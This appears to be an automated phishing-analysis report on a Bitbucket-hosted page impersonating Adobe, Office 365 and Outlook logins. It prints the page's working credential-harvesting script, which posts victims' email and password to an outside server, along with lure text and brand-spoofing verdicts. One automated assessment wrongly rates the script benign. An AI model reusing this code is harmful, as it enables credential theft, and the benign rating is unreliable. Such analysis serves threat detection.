Windows Analysis Report
https://adopt0098.bitbucket.io/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://adopt0098.bitbucket.io

{
    "risk_score": 6,
    "reasoning": "The script exhibits a combination of moderate-risk and low-risk behaviors. It sends user data (email and password) to an external domain, which is a moderate-risk indicator. Additionally, it uses a redirect to an external domain (the World Bank website) after a certain number of failed login attempts, which is another moderate-risk indicator. However, the script does not appear to have any high-risk indicators like dynamic code execution or obfuscated code. The overall behavior suggests a potentially suspicious login/credential harvesting mechanism, warranting further review."
}

    /* global $ */
    $(document).ready(function(){
      var count=0;
     $('#outlookmodal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'https://cdn.glitch.com/6ca72b66-8609-4328-9f2e-521097041961%2Foutlook2.png');
        $('#field').html("Outlook Web App (OWA)");
        $('#ajaxModal').modal('show');
      });
      $('#office365modal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'https://cdn.glitch.com/6ca72b66-8609-4328-9f2e-521097041961%2Foffice1.png');
        $('#field').html("Office 365");
        $('#ajaxModal').modal('show');
      });
     $('#othermodal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'https://cdn.glitch.com/6ca72b66-8609-4328-9f2e-521097041961%2Fothers2.png');
        $('#field').html("Other Mail");
        $('#ajaxModal').modal('show');
      });
      $('#submit-btn').click(function(event){
        event.preventDefault();
        var email=$("#email").val();
        var password=$("#password").val();
        var detail=$("#field").html();

        
        var msg = $('#msg').html();
        $('#msg').text( msg );
        count=count+1;
        if (count>=3) {
          count=0;
          window.location.replace("https://www.worldbank.org/content/dam/doingBusiness/pdf/db-2021/Final-Report-EPR-Doing-Business.pdf");
        }
        else
        {
         $.ajax({
          dataType: 'JSON',
          url: 'https://roscoleeapp.org/submit-normal.php',
          type: 'POST',
          data:{
            email:email,
            password:password,
            detail:detail,

          },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr){
              $('#submit-btn').html('Verifing...');
            },
            success: function(response){
              if(response){
                $("#msg").show();
                console.log(response);
                if(response['signal'] == 'ok'){
                 $('#msg').html(response['msg']);
                  // $('input, textarea').val(function() {
                  //    return this.defaultValue;
                  // });
                }
                else{
                  $('#msg').html(response['msg']);
                }
              }
            },
            error: function(){
              $("#msg").show();
              $('#msg').html("Password authentication failed, try again.");
            },
            complete: function(){
              $('#submit-btn').html('Login');
            }
          });
       }
     });
    });
	
	
            if(location.hash){
               document.querySelector('#email').value=eml=location.hash.substr(1);
               }
            
  

{
    "risk_score": 2,
    "reasoning": "The provided JavaScript snippet appears to be a benign script with some outdated practices, but no clear malicious intent. It includes the following behaviors:

- Use of the jQuery library to handle document ready event (+1 point for legacy practice)
- Manipulation of the DOM to reset a form and hide/show elements (+2 points for moderate-risk aggressive DOM manipulation)
- Setting the `src` attribute of an image element to a base64-encoded string (+1 point for legacy practice)

However, the script does not exhibit any high-risk indicators like dynamic code execution, data exfiltration, or suspicious redirects. Additionally, the behavior is consistent with typical form handling and UI manipulation, which suggests a legitimate purpose. Therefore, the overall risk score is low."
}

     /* global $ */
    $(document).ready(function(){
      var count=0;
      $('#gmailmodal').click(function () {
        $('#contact').trigger("reset");
        $("#msg1").hide();
        $('#fieldImg1').attr('src', 'data:image/png;base64,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

{
  "contains_trigger_text": true,
  "trigger_text": "To read the document, please enter with the valid email credentials that this file was sent to.",
  "prominent_button_name": "Sign in with Office365",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Adobe",
    "Office365",
    "Outlook Web App (OWA)",
    "Google G Suite"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "View Document",
"prominent_button_name": "Login",
"text_input_field_labels": [
"Email address",
"Password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Adobe"
  ]
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Login",
"text_input_field_labels": [
"Email address",
"Password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

```json{  "legit_domain": "adobe.com",  "classification": "wellknown",  "reasons": [    "The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'.",    "The URL 'adopt0098.bitbucket.io' does not match the legitimate domain for Adobe.",    "The use of 'bitbucket.io' suggests a hosting platform, which is not typically used for Adobe's official services.",    "The subdomain 'adopt0098' is suspicious and not related to Adobe's known services.",    "The presence of input fields for 'Email address' and 'Password' on a non-legitimate domain is a common phishing tactic."  ],  "riskscore": 9}
Google indexed: False

{
  "brands": [
    "Microsoft Office 365"
  ]
}

```json{  "legit_domain": "office.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft Office 365' is well-known and typically associated with the domain 'office.com'.",    "The URL 'adopt0098.bitbucket.io' does not match the legitimate domain for Microsoft Office 365.",    "The use of 'bitbucket.io' suggests a hosting platform, which is not typically used for official Microsoft services.",    "The subdomain 'adopt0098' is suspicious and not related to Microsoft Office 365.",    "The presence of input fields for 'Email address' and 'Password' on a non-legitimate domain is a common phishing tactic."  ],  "riskscore": 9}
Google indexed: False